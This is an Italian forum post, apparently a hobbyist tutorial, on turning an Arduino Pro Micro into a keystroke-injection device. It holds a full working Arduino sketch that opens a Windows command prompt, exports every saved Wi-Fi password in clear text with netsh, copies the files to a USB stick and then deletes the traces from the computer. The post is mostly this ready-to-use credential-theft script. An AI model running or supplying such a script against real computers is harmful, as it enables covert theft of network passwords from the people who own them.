Oggi vediamo un semplice script in C ++ caricato su Arduino pro micro , che ci permette di estrarre le chiavi Wifi a cui si é conesso il nostro computer .
Arduino pro micro é una scheda di sviluppo molto piccola , che ci permette di simulare qualsiasi keystrokes della nostra tastiera in autonomia e molto velocemente , caricando semplicemente lo script e collegando la scheda al nostro computer .
Setup di Arduino pro micro :
Per prima cosa , ovviamente , dovete disporre della scheda , la potete trovare molto facilmente su Amazon ,sui 15/20 euro , ci sono diversi modelli ma bisogna fare attenzione a quello che si compra (ci sono molte repliche) , io personalmente non ho acquistato il modello ufficiale ma funziona perfettamente : https://amzn.eu/d/2wn7gxe .
L'unico difetto di questo modello é che non ha un tasto di reset , quindi fate attenzione a non caricare script troppo malevoli , perché verranno eseguiti per primi sul vostro computer . Se avete eseprienza hardware , nel saldare e creare circuiti , tramite gli headers forniti da arduino potete collegare la scheda a quella di espansione , creando cosí un tasto di reset.
Il nostro ambiente di sviluppo sará Arduino IDE che potete scaricare dal sito ufficiale https://www.arduino.cc/en/software.
Librerie di cui avremo bisogno :

  • Keyboard , che potete scaricare direttamente dall'IDE nella sezione Strumenti / Gestione-Librerie.
  • DigiKeyboard , scaricabile sempre nella sezione Strumenti / Gestione-Librerie
  • Digistump , scaricabile da github tramite https://github.com/digistump/DigistumpArduino/releases
    (trovate anche il tutorial dell'installazione) .

Passiamo al lato script :
Gli script utlizzabili su Arduino pro micro sono gli stessi di Rubber Ducky, ma convertiti in C ++ , proprio per questo viene chiamato Duckino. La sintassi degli script di Rubber Ducky é molto semplice e non occorre nessun editor , qui potete convertire gli script https://d4n5h.github.io/Duckuino/ (Ducky --> Arduino).
L'unico problema di Arduino é che la tastiera che simula i keystrokes utilizza il formato Ascii US (tastiera americana) , risolvibil cambiando il file (cercate un tutorial) , oppure scrivendo i caratteri italiani tramite la tastiera americana( personalmente faccio cosí ) es: "/ " (US ) = "& " (ITA, scritto con tastiera americana)

Script per estrarre le chiavi Wifi :
Avremmo bisogno di :

  • Arduino pro micro
  • Cavo micro usb
  • Normale chiavetta USB
//--IMPORT LIBRARY
#include "Keyboard.h"
void typeKey(int key)
{
  Keyboard.press(key);
  delay(20);
  Keyboard.release(key);
}

void setup(){
  Keyboard.begin();
  delay(500);

  // ---THIS SCRIPT IS CREATED BY Zer0Day---
  // ---THIS SCRIPT CREATES A DIRECTORY  WITH INSIDE THE FILES CONTAINING THE PASSWORDS OF EVERY WI FI NETWORK TO WHICH THE COMPUTER IS CONNECTED----
//--CHANGE THE FILE PATH OF YOUR USB (C:\> , E:\> , F:\> ...**//---\

  // ---VERSION FOR ITALIAN KEYBOARD ---//
 
  delay(1500);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(120);
  
  typeKey(KEY_DELETE);
  typeKey(KEY_DELETE);

  delay(150);

  Keyboard.print("cmd");

  delay(200);

  typeKey(KEY_RETURN);

  delay(400);

  // ---MOVE TO MAIN DRIVE (C:\>)---
  Keyboard.print("cd &");

  typeKey(KEY_RETURN);

  delay(150);

  // ---CREATE DIRECTORY---
  Keyboard.print("mkdir Wifi?key");

  typeKey(KEY_RETURN);

  delay(200);

  // ---MOVE TO DIRECTORY---
  Keyboard.print("cd Wifi?key");

  typeKey(KEY_RETURN);

  delay(100);

  // ---EXTRACT WIFI KEY---
  Keyboard.print("netsh wlan export profile key)clear");

  typeKey(KEY_RETURN);

  delay(100);

  // ---COPY FILE IN YOUR USB---
  Keyboard.print("xcopy C>`Wifi?key D>``"); //CHANGE  THE PATH FOR YOU USB , ES: D ,E,F ..

  typeKey(KEY_RETURN);

  delay(900);

  // ---RETURN TO MAIN DRIVE---
  Keyboard.print(" cd &");

  typeKey(KEY_RETURN);

  delay(150);

  // ---REMOVE FILE FROM PC---
  Keyboard.print("del C>`Wifi?key");

  typeKey(KEY_RETURN);

  delay(100);

  Keyboard.print("S");

  typeKey(KEY_RETURN);

  delay(100);

  // ---REMOVE DIRECTORY FROM PC---
  Keyboard.print("rmdir C>``Wifi?key");

  typeKey(KEY_RETURN);

  delay(150);

  Keyboard.print("exit");

  typeKey(KEY_RETURN);

  // ---YOU WILL FIND THE DIRECTORY  WITH THE PASSWORDS SAVED IN YOUR USB ---

  // Ending stream
  Keyboard.end();
}

/* endless loop */
void loop() {}

Se volete altri post riguardanti questo argomento o la spiegazione del codice fatemelo sapere .
Buona giornata 😁

    Powered by: FreeFlarum.
    (remove this footer)